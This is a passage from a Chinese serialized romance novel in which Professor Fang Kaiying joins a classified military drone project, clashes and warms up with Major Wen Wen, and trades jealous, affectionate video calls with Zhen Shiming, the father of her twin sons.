他声音疲惫,却带给方楷莹好消息:“我知道你不想卖专利,想起之前军工领域的教授联系过我,说起你申请的无人机相关专利,希望你能帮他们解决一些技术难题,当时我们刚回国,部队审核严格就推掉了,不过我昨天又联系了一下,他们还是很愿意聘请你当顾问,报酬优厚,但审核依然严格。我的建议是先别急着卖专利,过渡一段时间,你的硕导不是在帮你转圜吗?” 方楷莹思索片刻,点头同意。 “请你帮我联系一下。” 她当天下午和军方领导互通电话,约好第二天双方开一个短暂的见面会,会有人接她到部队营地。 这通电话之后方楷莹也了解到一些不涉密的基本情况,大概知道方向就准备了一些关于无人机的资料和核实身份的材料。 翌日她告诉吴忧自己要去开会,然后便坐上深绿色的越野军车去往部队营地。 方楷莹也是第一次进军营,一路沉默地观察着周围林立的营房和正在训练的士兵,肃穆的气氛让她始终无语,而压车随行的年轻干部也抱着手臂,背靠椅背,从倒车镜里观察她。 路途中,方楷莹收到吴忧的微信。 【导儿,有个企业打电话来想要横向合作,您猜给多少钱?!咱们要脱离贫困线啦!发财啦发财啦!】 方楷莹歪了歪头,竟然还有主动上门的好事儿? 刚要回复微信让吴忧谨防电诈,年轻而严肃的声音从副驾驶传来:“方教授,这里禁止拍照。” “我不是我回个微信。” “禁止向外发送信息。” 方楷莹:“好。” 她默默收起手机,也向倒车镜暼了一眼,眉目凛然的年轻男人闭目养神。 这年轻人看起脾气不太好,她想起这越野车来接她时,因为车身太高,她没能一次就攀上去,这人双手插兜看着她,拧着眉头嫌弃,看不出一点儿对特邀教授的尊重。 现在也是,车一停,他先下车伸了个懒腰,也许是想起要在人前装样子,才“绅士”地过来帮她开门,结果是一手拤腰,一手随意做了个“请”的手势,脸上笑意虚浮,假意关心说:“您能跳下来吧?不用铺消防充气垫接着您吧?” 兵痞。 方楷莹心中暗想。 正式落座之后,方楷莹一侧只有她一个人,部队老领导带着四个年轻军官坐在她对面,那个两杠一星的“兵痞”坐在老领导的身边,看起来很受重视。 会议室国旗军旗交叉,庄重威严,她被绿色戎装包围,成为目光汇聚的中心,感觉不太自在。 “方教授来指导我们工作,表示一下欢迎。” 老领导一声令下,整齐的掌声顿时响起,方楷莹被吓得抖了一下,双手不自觉紧紧握住,不知道该朝那个方向点头示意,只好将目光落在准备好的资料上,他们看到的方教授是个肩膀微塌,嘴唇紧抿,易受惊吓的女人。 “所以方教授来指导工作不打算用语言交流?” 方楷莹抬起头循声睐去,两杠一星双手交握,身体前倾,一脸挑衅地看着她。 一张很年轻的脸,长得不错,大概二十五岁,部队标准的短寸头,脸上轮廓刚硬坚毅,直挺的背脊与宽阔的肩膀显得人意气风发,粗糙凛然中透出点儿痞气。 这样的痞气方楷莹年轻时在甄世明身上见过,是自视甚高的男人独有的傲慢。 “温文少校!”老领导忍不住要批评他:“你求人办事儿得有个求人的态度,难道不是你负责的这一块遇到瓶颈我们才找方教授解决的?要不我把方教授送回去,你自己再研究几个月,战场上时间就是生命,合作才能共赢!”老领导又转而对方楷莹温和慈祥,“见笑了,方教授。” 方楷莹听这话,想到以后要和这个人“合作共赢”,回敬的笑容都显得命苦了几分。 老领导又说:“我们是信息化作战部队,部队里担大任的都是像温文这样的年轻人,个个都是国防大学毕业的高材生,技术骨干心气都高,见不得别人比他强,您多见谅。”话锋一转,他问:“我听说您十八岁就能研究出无人侦察机?” 什么???!!! 方楷莹连忙摆手强调:“不不不,我们参加科技创新比赛的作品是民用、无人、摄影机!” 温文冷哼一声,反驳道:“那玩意儿是军用还是民用,不是你说了算,全看用在哪儿,用在战场上就是军用!” 方楷莹:“” 她不想理这人,就不答温文的话,担心产生误解,反复和老领导强调她的东西就是民用。 像她这样留美归来的学者,与军方合作涉密项目,在身份审核上要非常严格,更不用说她在出国前就掌握了这项技术。 方楷莹非得把这件事说清楚。 然而老领导却不甚在意,如果没有完全的调查审核,方楷莹压根不会坐在这里开会,他让方楷莹放宽心,并说:“现在的问题呢,是在多人共享作战画面这个方面,这方面由温文少校负责,现在基本可以实现,但是稳定性不好,所以请您来加入团队,指导攻克难题。” 方楷莹与温文对视一眼,又各自挪开。 她仔细想来,这不是什么大问题大项目,寒假到过年前应该能完成,比起对温文的讨厌,她更愿意把这些钱挣到手。 “好,我可以加入。”方楷莹说。 “因为我们这个项目涉密,所以您除了要签署保密协议之外,在项目未完之前,也不能离开营地,部队的管理会比较严格。您看,能不能接受?” 方楷莹想着这样也好,不用住在山顶别墅,也能让她和甄世明都冷静冷静,回去好好解释一下,橙橙和芯芯应该能理解。 “能接受。”她说。 会开完,事敲定,老领导让温文少校再送方楷莹回去。 司机认真开车,其余二人一路无言。 终于在车子驶入市区之后,方楷莹发现温文一直在瞄着倒车镜,充满敌意地看她。 “你看什么?”方楷莹不解他为何对自己存有偏见,但以后毕竟是要合作的。 他翘着腿往后靠,说:“看你像间谍。” 温文虽然心气高,但不是狂妄自大的年轻人,只是不信任方楷莹,虽然部队已经经过层层审核审批,但她从美国归来的身份还是让他觉得不信任。 “间谍能和你见到面吗?”她反问,找到偏见的来源沟通就会顺畅一些,“这对我来说只是工作,是你们要从我这里获取帮助,我想获得的只有工资,就算看我不顺眼,我也需要你全力配合我,以我为主导,共同完成项目。我们今天把话说清楚,你回去自我调节,明天之后我只会和你探讨工作。” 丑话要说在前面,规则要提前制定。 这向来是方楷莹的工作风格。 “我知道。” 他看似配合,一个转瞬就挑起眉头,不屑道:“我知道方教授身后是有点儿背景的,我们做过关于你的全部调查,怎么看都不觉得你是会缺钱的女人。” 方楷莹:“” 对牛弹琴! 温文呵笑一声,“我们掌握很多关于你的信息,包括你是怎么回国的。” 方楷莹不解,直接又没好气地说:“我是坐飞机回国的。” 温文:“” 谁也不想再和谁多交流,温文又闭目,把人送到研究院就算完成任务。 车停下,方楷莹又扶着把手下车,纵身一跳,刺啦一声。 身上背的黑色尼龙包被车门尖角刮到,终于寿终正寝,只是里面的物品掉落一地,方楷莹蹲下身一个个捡起来,塞进已经伤痕累累的尼龙袋子里,看起来有点狼狈。 眼前出现一双军靴。 高大身躯站在她面前,温文略一弯腰,递给她个军用布袋,又蹲下帮忙捡起她的唇膏和车钥匙。 “谢谢。” 温文本以为主动递给方楷莹的好意她不会接,但布袋递出去,她立刻就把东西都倒进去,一点儿没有刚闹过脾气的矫情。 只是现在仔细听,她的道谢好像没怎么走心呢?他看着眼前透着冷感的女人。 方楷莹没理他,他倒没那么生气了,弯起唇角上车,车子越开越远,后视镜里的女人身影越来越小,司机忽然说:“这个方教授,有点儿意思哦。” 隐约还能看到个远走的轮廓,温文看着后视镜,直到身影完全消失,笑了笑说:“是有点儿意思。”- 方楷莹回到研究院整理资料,吴忧一直在实验室等她,激动地对她描述下午飞来的横财。 当时方楷莹不在,吴忧帮她收拾办公室,座机忽然响,她接起,对面自己介绍是一家科技公司,名为夜照科技,手上有百万横向项目,想和方教授合作,对方提出明天要来实验室参观,吴忧已经替她答应了。 “可我”方楷莹已经答应了军方,不可能临时变卦:“这样,这个项目我把对接工作交给你,你不是下午接了电话吗?明天你带着参观,然后有问题再跟我随时电联。” “啊?”吴忧挠头,“我行吗?” “相信自己,你一定行。”方楷莹重重拍了下吴忧的肩膀,收拾好电脑,提着一大堆资料又走了。 吴忧挥手告别,忽然想起什么,远远地喊:“可是我跟人家说明天你会在,人家才要来的”- 方楷莹紧赶慢赶终于赶到幼儿园接上孩子,橙橙一见面就发现方楷莹的包包坏了,回家之后方楷莹在楼上收拾行李箱,橙橙在衣帽间翻找。 方楷莹下楼时,正看见橙橙踩在儿童梯上把重重的包装盒拖出来,而芯芯在下面扶着梯子,吓得方楷莹魂儿都要丢了,赶忙伸过一双手撑着。 “妈妈,请打开!”橙橙把包装盒放在她怀里,大功告成般拍了拍双手。 方楷莹一边告诉他以后大人不在不许爬梯子,一边磨磨蹭蹭打开橙色包装盒,橙橙在一旁配以惊喜音效,里面是一支爱马仕小房子包包。 看到价格之后,她的魂儿又要丢了。 “妈妈,上次我们在蓝梦阿姨家看到的这个小房子包包,她的是白色。”橙橙洋洋得意地说:“我画出了这个牌子,爸爸就带我们去选,白色不适合你,新款红色更好看,可是我选的呢!” 芯芯把包包旁边的装饰毛绒揪在手里展示给妈妈看:“这个挂的件也是我和哥哥选的,一个小橙子是哥哥,红色爱心就是我!” “虽然钱是爸爸出的,但包包和挂件都是我们选的。”橙橙调皮地吐舌,说:“本来想立刻送给妈妈,可爸爸说妈妈是个恋旧的人,现在旧包包坏了,该换新的了吧?!” 于是昨天晚上刚吵过架的方楷莹今天就“被迫”提上了甄世明买的包,在孩子面前别别扭扭转了两圈,等孩子注意力转移,又小心翼翼摆放在衣帽间,等着甄世明回来后再跟他解释。 而甄世明回家后,却先看到放在门厅的行李箱。 第50章 甄世明再看向方楷莹时, 有点儿恍神。 想起前两天他才说过哪怕她再走到哪儿去,自己都无所谓,瞬间觉得胸腔积血, 堵住心脏和嗓子眼儿, 一句话都说不出来。 如果时光倒流,他一定不说这话。 而方楷莹见他脸色不对, 抿唇转转眼珠, 寻思他肯定是已经从监控里看到橙橙爬上梯子,而身边无人看护。 不管怎么说,先认错再解释吧。 于是她低垂眼睫, 提前捂住耳朵, 用非常遗憾的语气道歉:“对不起我” 我不该让孩子一个人爬梯子, 不该随便碰你买的包,那包我不敢要, 我没那么大胆儿,不敢眯你一百多万的包, 你要是想吵架拜托小点儿声, 我现在感觉耳朵已经不太好使了…… 心里准备的话刚说出个“对不起”,甄世明就一屁股坐在立放的行李箱上, 手扶墙壁深呼吸进行自我调节。 方楷莹愣了愣神, 赶忙上去边扶边拽, 心道你别把我行李箱给压坏了,有啥话不能起来说? 而甄世明四肢发软浑身无力, 头晕眼花难以呼吸, 像要被纪检带走的贪官,顺势就将全身重量依靠在方楷莹身上。 “欸,你怎么了?!” 方楷莹急急地问, 以为他突然发病,大概是低血糖什么的?顺手掏兜把给孩子买的水果糖喂进他嘴里。 他一手托着墙壁维持平衡,一手紧紧揽住方楷莹的腰,脑袋靠在胸口,她身上的香味那么近,却又好像要逐渐变得遥远,糖也不甜,微苦的滋味从舌尖散去,他皱眉叹气。 两个小孩听见动静跑过来,呆呆看了两秒,又背过身去捂嘴笑闹。 “爸爸和妈妈在抱抱。” “送包包就能得到抱抱吗?” 两个小孩天真地讨论。 人类的悲欢并不相同。甄世明被突如其来的悲伤冲击心脏时,他的两个好大儿笑嘻嘻地跑远了 “你感觉好点儿了吗?”方楷莹推了推他的脑袋,热热的呼吸扑在胸口让人怪难为情的。 甄世明什么话都没说,自己缓了几分钟,眼含失望地看着她,恋恋不舍地松开细腰,心不在焉地打开冰箱,沉默寡言地去做晚饭。 方楷莹把堵在耳朵的双手挪开,突然不吵还不太习惯,又觉得他安静下来的样子太诡异。 难道不是为了孩子的事儿? 晚饭中,方楷莹告诉孩子们自己要出差的消息,说好只去一个来月,过年前肯定能回来。 孩子倒是能接受,毕竟之前一直没和妈妈生活,就是因为妈妈在忙工作,橙橙还问妈妈是什么工作,会不会累? 涉密的项目不方便讲太多,方楷莹只说是部队里的项目,可能时间不会太自由,但如果有时间就会和孩子打电话通视频。 旁边的甄世明连连冷视,沉默不言。 吃过晚饭后,方楷莹陪着孩子做幼儿园作业,看着孩子玩耍,想到要离开一个月忽然心里难舍,橙橙暂时还没感觉到临别的愁绪,但芯芯从晚饭结束就靠在方楷莹身边哪儿都不去。 “妈妈,你会想我吗?”芯芯问。 方楷莹的脸蹭了蹭孩子绵软滑嫩的小脸蛋儿,“当然会了,妈妈有空就想你。” 芯芯噘起嘴在妈妈脸颊响亮地亲了一口,小手抚摸着妈妈的脸颊,信誓旦旦地说:“妈妈,我也有空就想你,就算我没空,也会抽空想你!” 方楷莹莞尔一笑,捏了捏小孩鼻子,让他别哭出来。 那天晚上她陪孩子到很晚,甄世明吃完晚饭就上楼去了,也不下来催促睡觉,一晚上都没露面,方楷莹再一看表,已经要十点了,赶紧让孩子上楼洗澡。 趁孩子洗澡的时间,方楷莹轻轻推开甄世明的卧室门,打算跟他嘱咐几句,他正以一种虚弱无力的姿态半卧在床,怀里捧着本儿书,见她进来,目光从虚空处又挪到书上,依旧心不在焉。 “你不会病了吧?”方楷莹站在床头,歪头看着他,发现他唇上失色,但眼圈红红,“我看你眼睛有点儿红?” 甄世明撇过一眼,鼻音很重,“没病,看书钻研得太深刻,眼睛酸。” 方楷莹翘起手指捏住书棱,自言自语:“《小狗钱钱》?” 甄世明“啪”一下合上书,没好气道:“《小狗钱钱》怎么了?我在给孩子筛选理财类的书,你到底有什么事儿?前两天不是说得很明白了吗?你又过来招惹我干什么?” 他心里带着委屈,却依然坚硬如铁,头别开不看她,说:“你想走就走,我早说过了你再走到哪儿去跟我没关系,你编的理由能把孩子哄好就行,别想着我挽留你,我不可能总让你欺负我。” 方楷莹:“我是真的出差。” “哼,这不是你骗孩子的借口吗?”甄世明如此坚信,是因为明天已经约好了要去参观实验室,明明就是因为前两天说了气话才想搬走,找什么冠冕堂皇的破理由。 他唇角下弯,讥诮道:“下次要是不打算再见孩子了,记得说自己坐神舟飞船去太空。” 方楷莹眨眨眼,觉得他胡搅蛮缠:“你不信任我,但我真有正事,这关系到我实验室的资金,所以这段时间我不能和你一起照顾橙橙和芯芯,如果你觉得不平等,等我过年回来了,你可以把他们交给我,你出去度假或者什么的” “过年交给你?你这算盘珠子都崩我脑门儿上了。”甄世明冷哼一声,眉眼微动透出黠意,故意问道:“既然你说有‘正事’,那我明天应该也见不到你吧?” 方楷莹老实地点点头,说:“我明天一早就得走,那地方很远,明早你送一下孩子,他们的跳绳我装进书包里了,你明天不用再找。” “哦,”甄世明再次拎起书看,轻飘飘地说:“你说完了没?我儿子我知道怎么照顾,你不在我可太开心了,你不在我做饭不用多添筷子,也再不用多生闲气。” 方楷莹:“我也不是故意要惹你生气,橙橙爬梯子我是没看到,但那个包儿我已经好好放回去了,零磨损” “什么梯子?什么包?”甄世明不解。 方楷莹:“爱马仕?小房子?新款?” “哦,”甄世明风轻云淡地说:“那是你儿子送给你的,跟我没关系。” “可钱是你花的。” “所以你不想欠我,要把钱还给我吗?” “额我可以把包留下。” 甄世明深吸一口气,真正的心凉从来不是大吵大闹,他平静地说:“包是为了孩子开心随手买的,孩子想送给你,我没意见。你自己想好,我虽然早说过不逼你留下来,但如果真的要走,以后你想见孩子,必须得经过我同意,我也不会每次都同意。” 方楷莹一听这话还是气话,但能和她平和说话就算是不容易,于是也好言好语地说:“我是想着趁这个机会,咱们都冷静一下,说不定能想出来更好的相处之道,你说呢?” 甄世明不想说,摆摆手示意她退下,方楷莹自讨没趣,缓缓退出卧室,等她退出卧室之后,甄世明又拿起手机打电话给甄美丽,要她和实验室确认明天的参观活动方教授是否出席,而实验室那边的回复是,方教授一定会在。 “很好。” 甄世明挂断电话- 于是甄世明第二天早早起床,用冷冰冰的脸色偷偷看着方楷莹,见她“假惺惺”地亲吻孩子额头,又提着行李箱“假装出差”,心里感慨这女人演戏演得越来越好了。 方楷莹走后,他去楼下健身房练了一小时,又在浴室好好折腾了一番,胡子刮了头发抓了,最端庄而不失风骚的穿搭选出来了,旨在闪亮登场时让人眼前一亮心头一惊,让前两天刚说完“不爱”的人后悔要剜瞎自己双眼。 送孩子上学时,芯芯眨巴着眼看着爸爸,问:“爸爸,你今天好像非常好看,为什么?” 甄世明神秘地说:“爸爸要去赴一场重要的约会,让瞎眼的人重新找回光明。” “哦,”芯芯有所顿悟,“爸爸要去慰问残疾人。” 甄世明:“”- 下午三点,甄世明和甄美丽一起踏进方楷莹的实验室,几个学生模样的女孩接待了他们。 “方教授在哪儿?”甄世明开门见山,茶水也没喝一口就问。 几个研究生互相对视,硬着头皮领他们去了方楷莹的办公室。 甄世明一进门,与坐在椅上冒充导师的吴忧对视一眼,两边脸上的微笑都凝固住。 吴忧特意换下平时的卫衣,穿上借来的不合体西装,把头发盘成导师平时的样子,妄图蒙混过关,但眼前这人也太帅了,身上的高定西装衬得肩宽腿长,挺立的鼻梁架着一副金丝眼镜,眉头虽然皱着但更显熟男气质。 这样优越的皮相,迷倒个把少女还是不在话下。 吴忧还很年轻,不能像见多识广的教授那般淡然,紧抿着嘴唇,不流出口水是对“方教授”这个身份最后的尊重。 可她还没自我介绍,对面的长腿叔叔先环视一圈办公室,后凶巴巴地问她:“方楷莹呢?” 吴忧的手已经伸出去,脑子一抽,竟然把排练好的台词说出来:“我我就是方楷莹,很高兴” 对面看着一点儿都不高兴,她话还没说完,男人冷笑一声,转头就走。 吴忧赶紧从椅子上跳下来,长腿叔叔已经快步走远,她拉住旁边的漂亮姐姐,诚惶诚恐地问:“姐姐我跟你说实话,我导师今天不在家,但昨天电话里已经答应你们了,晚上你还打电话再次确认,我怕你们不来了,才出此下策,我们实验室真的很希望能合作,这下合作不能因为我黄了吧?” 甄美丽上下扫视着奇葩方楷莹带出来的奇葩学生,吴忧紧张得小脸惨白,甄美丽却乐不可支:“方教授难道没跟你说过和我们甄总的关系?”她拍拍年轻女孩的肩膀,安慰说:“放心吧,黄不了。” 吴忧听了这话稍微能放心一点,妖娆婀娜的漂亮姐姐走远两步,吴忧又在后面挠头追问:“什么关系啊?” 甄美丽忙着追哥哥的脚步,回头莞尔,唇语道:“同床。” 吴忧困惑,觉得漂亮姐姐夸张,同窗关系有什么好神秘的?- 与此同时,方楷莹被温文带去部队安排的宿舍,单人居住的宿舍一尘不染,方楷莹把行李箱打开收拾,温文倚在门口,也不进门,但全程“注视”。 “温文少校,你很闲吗?” 方楷莹每一抬眼就能和温文对上视线,好像这人的眼光从来没离开过她似的,防人像防贼。 “不,我很忙。”温文眉目严肃。 “那请你去忙自己的事儿吧。”她坐在床上,打开手机给甄世明发报平安的短信,短信发完,他还在门外站着。 “我今天的任务是帮助你整理内务,然后带你去无人机基地。”温文解释道。 方楷莹:“我们今天就要开始吗?” 她已经坐了很久的车,颠簸得皮乏骨软,怎么也该让歇歇吧? 温文点头,“不是今天开始,是你什么时候收拾完什么时候就开始,基地那边已经准备好了。” “啧,”方楷莹放下手机,一边收拾自己的小包准备立刻出发,一边有点儿埋怨他:“那你都不催我吗?” 温文忽然脸一红,说:“我不知道你们女人收拾起来得花多久时间…”《 》 50-60 第51章 方楷莹到达无人机基地, 就先被收了手机,温文又给她发了专用保密手机,告诉她除了周末, 其他时间不可以用自己的手机。 见到各种军用科技装备的方楷莹, 疲惫的眼睛瞬间亮起,心思早已不在手机上, 只想着这些外面难以得见的先进装备若能在她手上过一遍, 该是多么巨大的收获呀! 她先不着急看数据,而是把这军用无人机从头到尾仔仔细细抚摸一遍,一群人跟在她身后不知所以, 有人问她, 她说大型机器和人一样, 也是有肌理脉搏的。 人们面面相觑。 “我以前听个八级钳工也这么说的。” “难道科学的尽头真是玄学?” “谁知道呢?人家科学家都这么说了。” 温文看了眼,不屑道:“神棍似的。” 之后方楷莹要来所有数据, 自己对着两台电脑安安静静地鼓捣,完全沉浸在自己的世界里, 别人说什么都充耳不闻。 温文从小也是天才少年, 对无人机全貌有足够了解,站在她身后一直看着, 一旦跟上她的思路, 就仿佛被带进另一条解决问题的快速路上, 其他人看不懂打哈欠,温文却越看越精神。 方楷莹一钻研起来饭都不吃了, 一直聚精会神忙到凌晨, 她把网络传输层进行最后的调整,站起来伸了个懒腰,颈椎咯吱吱响, 肚子咕叽叽叫。 身后微波炉“叮”一声响。 她这才发现其他人都走光了,只有温文在热饭,他自己也一直没吃饭,现在把两份热好的盒饭拿出来,递给她一份。 “其他人看不懂,我让他们都回去了,”温文把筷子拆开递进方楷莹手里,笑说:“看起来方教授喜欢单独作战,不喜欢团队合作。” “我习惯这样,做事之前不先唱‘团结就是力量’。” 温文:“我们也不唱。” 两人面对面吃盒饭,年轻小伙子身强体壮吃饭快,一阵风卷残云,方楷莹偶尔抬头看他,忽然觉得如果橙橙和芯芯以后也长成这样,其实也不错。 她对孩子要求不高, 身体强壮能吃饭就好。 方楷莹和温文一对视就流露出充满母性的欣慰笑容,温文心里直发毛,吃饭动作慢下来,还用纸巾擦了擦嘴,最后忍不住问:“你总看我干什么?” “我看你想到我儿子。”她很诚实地说。 温文脸上红一阵儿白一阵儿,放下筷子,眉头浅皱,“你是不是拐着弯儿骂我幼稚?别以为我不知道,你的孩子才五岁,我已经二十五了。” “我真没这个意思,是你想多了。”方楷莹弯起眼睛笑了。 温文见她笑眼,脸又红了一阵儿,埋头继续吃饭,悻悻地说:“以后别说这种话,我刚看你顺眼一点儿。你还不如跟我说说,是怎么想出来的要这样调整网络传输层?” 这对她来讲技术难度不大,只是过程复杂,方楷莹倒不觉得有什么好说的。 “既然你能跟上我的思路,说明给你时间你也能想出来,只是有的时候人会钻牛角尖,有时候换种思路,有时候换个环境,很多想不通的就能想通了,明天就能开始测试了,随时再调整,应该没什么问题。” 方楷莹话说得坦诚,温文听着她说话,心里有种莫名的安定感,觉得她好像什么都能搞得定。 “因为这个问题我已经很久没好好睡过觉了,”他看向她,轻松地说道:“看来还得感谢方教授,让我今天能睡个好觉,以后通过测试,向上汇报时要给你记功。” 方楷莹见他心情好,试探问道:“记功不需要,我也不当兵,你…能把手机还给我吗?我想明天早上和我儿子视频。” 温文瞬间恢复严肃脸色:“不行,等周末。” 方楷莹:“” 一点儿感恩之心都没有,以后橙橙芯芯可不能长成这样。 凌晨夜色黑凉,军营阒无人声,本来部队有严格的作息时间,但这支队伍情况特殊,时常熬夜,给了特殊的通行权。 温文开车送方楷莹回宿舍,车子在路上缓慢行驶,他扶着方向盘,侧看一眼打哈欠的方楷莹,说:“没想到你还挺能熬的,第一次见你,感觉你是那种活不好就会死的脆皮书呆子。” 方楷莹回敬一个笑容,既然开始谈初次见面,她也不甘示弱,轻飘飘说:“我感觉你是个兵痞。” 温文正乐着,忽然乐不出来了,“你对我的定性是不是有点儿恶劣了?” “因为你本来就很恶劣。” “行行行,”温文笑着投降说:“我跟方教授道歉,成吗?” 不知怎的,方楷莹忽然想起甄世明。 扭头一看,眼前这人的气质和年轻时的甄世明没什么两样,只少一点儿豪门少爷的恶劣造作,多一点儿部队培养出的刚正阳光。 她回过头,看着车窗前晃着灯的小道,不由出了神,温文又在她眼前招手,她才回神问道:“你刚说什么?” “不带你这样儿的啊,”温文眉眼带笑,“道歉的话特意让人反复说。” 方楷莹忽然沉默了。 温文并不介意自己的道歉没回复,看方楷莹的状态像是累了,送下她又对她说:“这段时间你正好能锻炼锻炼身体,没有好身体又整天熬夜,迟早会垮,我们有时候会夜跑,下次我可以叫上你。” 每天干活还得参加拉练? 方楷莹敬谢不敏- 第二天测试开始进行,方楷莹每天盯着随时调整,还在一次次测试和数据分析中发现,温文团队研究出的无人机或许存有安全隐患。 这本不属于她的工作范畴,安全风险等级也尚未确定,如果藏着不说,也不影响她拿到报酬,如果说出来,没准儿还会拉长待在部队的时间,但她稍作思考后,就把这个发现告诉温文,参与几番研讨会之后,决定对现在的无人机进行重新改造。 只是时间要比预想中更长,这个消息方楷莹只能等到周末告诉孩子。 好不容易熬到周五,方楷莹下午拿到手机,第一个视频电话就是打给甄世明。 仅是一周没有和孩子们见面,方楷莹拨打电话时手就有点儿颤抖,鼻头发酸,眼眶也热,思念的威力她后知后觉。 电话一接通,手机屏幕里就出现芯芯的小脸,他的下唇撅起包住上唇,唇角往下弯着,眼里的泪花在叫妈妈的那一刻源源不断,热滚滚地掉落在衣襟上。 “妈妈~”芯芯坐在爸爸怀里,用领带擦眼泪,断断续续的话语被呜咽声吞下:“好想你什么时候回来” 芯芯一哭,橙橙也哭。 方楷莹虽然没有置身其中,但从听筒里已经能感知到那边鬼哭狼嚎的情况,甄世明没打算自己一人忍受,把橙橙抱来坐另一条腿,两个孩子头挨着头,抱着手机在小屏幕里看妈妈。 “妈妈过段时间就回去,芯芯橙橙…别哭了。”她也就会这样安慰人了。 最后还是甄世明帮了她。 他一手摸一个男孩子的头发,声音轻轻地说:“妈妈出去帮助别人了,回来会给你们带无人机的模型,你们期不期待?” “期待。”男孩子们眼里转着泪花乖乖点头。 好不容易平复了情绪,孩子们又问妈妈“吃得好不好”,“工作累不累”,方楷莹都朝着让人放心的方向回答,又听橙橙叽叽喳喳说这一周在学校和家里发生的事情,方楷莹坐着听,边洗漱边听,最后躺着听。 甄世明也不打断孩子,时不时给递小水壶喝水,眼看电话打了两个小时,甄世明一直没露过脸,方楷莹一边回应橙橙说话逗芯芯开心,一边看着白衬衫黑领带浮想联翩。 换个环境,真的能让人变得不一样,也能发现更多平时发现不了的。她就发现自己这几天,不止想橙橙和芯芯,也想他们的爸爸。 刚开始只是关心他的身体,毕竟自己走的时候他表现得十分虚弱,后来就是一个人睡在陌生环境里,想着如果能有充满安全感的拥抱该多好,再后来就是想起两人上次肌肤之亲的画面,毕竟距离上次也有段时间了 她瞟向屏幕,甄世明有时给芯芯擦眼泪,露出骨节分明、白白净净的一双手,有时给橙橙递水,看着孩子喝水的动作,他的喉结也滑动一下。 这些都被方楷莹尽收眼底。 她也是个人啊。 视频通话进行到第三个小时,芯芯也终于打起哈欠,橙橙也把该说的都说完了,自己从甄世明大腿上滑下去。 两个孩子手拉着手去楼上洗澡,但方楷莹和甄世明谁都没有先挂掉电话的想法。 都想再看看。 “你最近怎么样?”方楷莹主动问。 甄世明修长的手指卡进温莎结,随意扯了扯领带:“你不是都听橙橙说了么?” 方楷莹吞了下口水,脸微微发烫,“我是想问问看,有没有孩子遗漏没说的。” 甄世明扬起头想了想,不经意将手放在喉结抚摸,“让我想想没有,你有吗?” “我有。”方楷莹忽然想到:“甄世明,你是怎么知道无人机的?” 甄世明这才缓缓露出脸来,为了让方楷莹看到玩世不恭的表情,“我想知道就能知道,这个你也不用担心,没有让你舔着脸跟别人要模型的意思,我到时候会想办法弄两个回来,不会让你为难。” “倒是我想知道你这性格去了部队,别人不会为难你吧?不是有句老话说:秀才遇到兵,有理说不清。” 一开始确实有人为难她… 但方楷莹没说,她只说:“放心。” 甄世明哼哼笑了两声,黏黏糊糊的声音隐隐藏着几分想念,“我就是客套客套,我也不是你的谁,有什么不放心的?” 方楷莹听出他的反话,看着那张玩世不恭的脸,腼腆地笑了笑,刚要说些什么,就听窗外楼下几个男人的声音,齐声高喊:“方教授,下来夜跑啊!” 第52章 “方教授, 下来夜跑啊!” 方楷莹耳朵里听的是青春开朗,眼睛里看的是幽瞳厉色。 后脊背不禁一凉,才发现自己大冬天紧张出虚汗, 知道甄世明心眼小, 做贼似的把手机话筒一捂,而那边却冷冷笑说:“我已经听到了。” 方楷莹下意识摆手解释:“不是你想的那样哈, 是他们上次说我身体弱, 禁不起连番折腾——” 甄世明:“……这话对吗?!” 方楷莹沉默咬手指,好像对,又好像不对 “我当你是去工作的。”甄世明幽幽怨道, 之前光顾着打听她去做什么工作, 忘了考察她身边都什么人了, “这就是项目时间延长的原因吧?我说呢,怎么简单的项目突然就变复杂了, 原来是有人不愿意回来了” “你别这样说,不是这样”她好似有一种异地恋男朋友发小脾气需要哄的烦恼, 急哄哄地表忠诚, 三指并拢对灯发誓:“我是出来赚钱养“家”,绝对没有别的想法, 所有关系都是正常的工作关系!而且他们都是二十多岁, 在我眼里和学生差不多——” 甄世明脸上寒笑:“二十多岁?” “对啊, 你想想,最小的也就二十岁, 比你小一轮儿, 咱没必要和小孩子计较吧?” 甄世明点点头:“嗯,我比人家大一轮儿。” 方楷莹越解释说明,甄世明脸色越差劲, 最后他捂住将要梗塞的心脏,再也不想听一句话,抬手止住,看似洒脱地说:“你不用跟我解释,我不是你什么人,咱两什么关系啊?只不过是共同抚养孩子的关系,你完全自由,不管跟谁,夜跑还是晨跑,都与我无关!挂了!” 甄世明挂断电话,心里这无名孽火无处发泄,把孩子哄睡之后,去楼下小花园怒跑五公里,又去健身房把所有器材都过了一遍,然后半夜打电话给甄真,问她上次打的抗衰针有没有效果,最后挨了顿骂,消停了。 而方楷莹看着被挂断的电话,心里有点儿恼火,努起嘴坐在床边也生闷气,“什么人呐” 楼下几个小伙子已经开始唱《团结就是力量》了,方楷莹心烦意乱打开窗户,冲楼下大喊:“不去!走开!” 楼下也安静了- 第二天吃早餐时,方楷莹无精打采,温文端着盘子凑过来坐她对面,问她昨天是不是生气了? “嗯。”方楷莹生硬地回答。 “是他们要来叫你的,”他嬉皮笑脸替自己辩白:“我都说了你不爱跑步。” 方楷莹白他一眼,端着盘子走开,“就你喊得最起劲儿。” 温文本来是怕方楷莹觉得孤单,没成想她生这么大的气,可怜的温文少校当了一整天老实的透明人,担心再惹方楷莹生气她撂挑子不干了。 直到下午再送她回宿舍时,才温声细语问:“为什么生气呢?” 方楷莹不知道该怎么说,只敷衍说:“可能我当时情绪不太好吧,刚和我儿子通完视频,孩子很想我,我也很想他们。” 温文若有所思,问道:“你的孩子一定觉得你这样的妈妈很酷吧?” 和孩子相处时间越久,方楷莹越能明白这五年里甄世明付出了多少,心里对孩子的亏欠感也越来越深重,她摇了摇头,说:“可能他们在五岁之前都不确定自己是不是有妈妈,我一直在国外,没给过什么陪伴,回国之后也总是在忙自己的事儿,孩子都是他们爸爸在带。” 温文给她递了张纸巾。 方楷莹不解问道:“给我纸巾干什么?” “你不想孩子嘛,我怕你一会儿想哭了。” 方楷莹:“谢谢哈。” 停下车,温文脸上神色不太自然,仿佛为她的两个孩子惋惜。 “我们曾经对你进行过严密的调查,所以知道你有两个孩子,还知道孩子的爸爸是谁,那天开会你见到的老领导曾是甄老司令的部下,所以孩子爸爸是什么样子我也了解,大概不会负责任地带孩子,你要是不放心你的孩子——” 方楷莹毫不客气地打断,面目严肃地问道:“你了解的孩子爸爸什么样儿?” 温文:“大院里的纨绔子弟,家里人本来想着送进部队里来平步青云,但中间不知道出了什么事儿,给送出国去了,回来之后正事儿不干,吃喝玩乐,没过几年就有了私生……” 